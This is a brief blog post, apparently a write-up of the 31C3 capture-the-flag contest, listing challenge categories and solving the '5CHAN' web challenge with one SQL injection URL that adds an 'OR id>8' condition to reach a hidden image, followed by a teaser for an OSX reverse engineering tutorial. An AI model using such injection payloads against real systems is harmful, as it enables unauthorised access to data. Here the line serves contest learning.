December 30, 2014

31C3 CTF writeup

Categories #

pwn
crypto
reversing
malware
signals
web

web > 5CHAN (15pts) #

only img ids #1 thru #8 inclusive are displayed
flag should be in img id #9
@ http://188.40.18.89/?page=pic&id=0%20OR%20id%3E8;–

Kudos

Now read this

OSX 10.9 Intel Reverse Engineering Tutorial (adapted)

Toolkit to get started # gcc 4.9 + gdb 7.6 w/ ~/.gdbinit (or clang 5.0/llvm 3.3 + lldb 300.2.51) decent hex editor: 0xEd/Hex Fiend (gui) or od, chex, hexdump/hexedit (cli) diagnostics: otool/XCode, file, strings; inspect universal binary... Continue →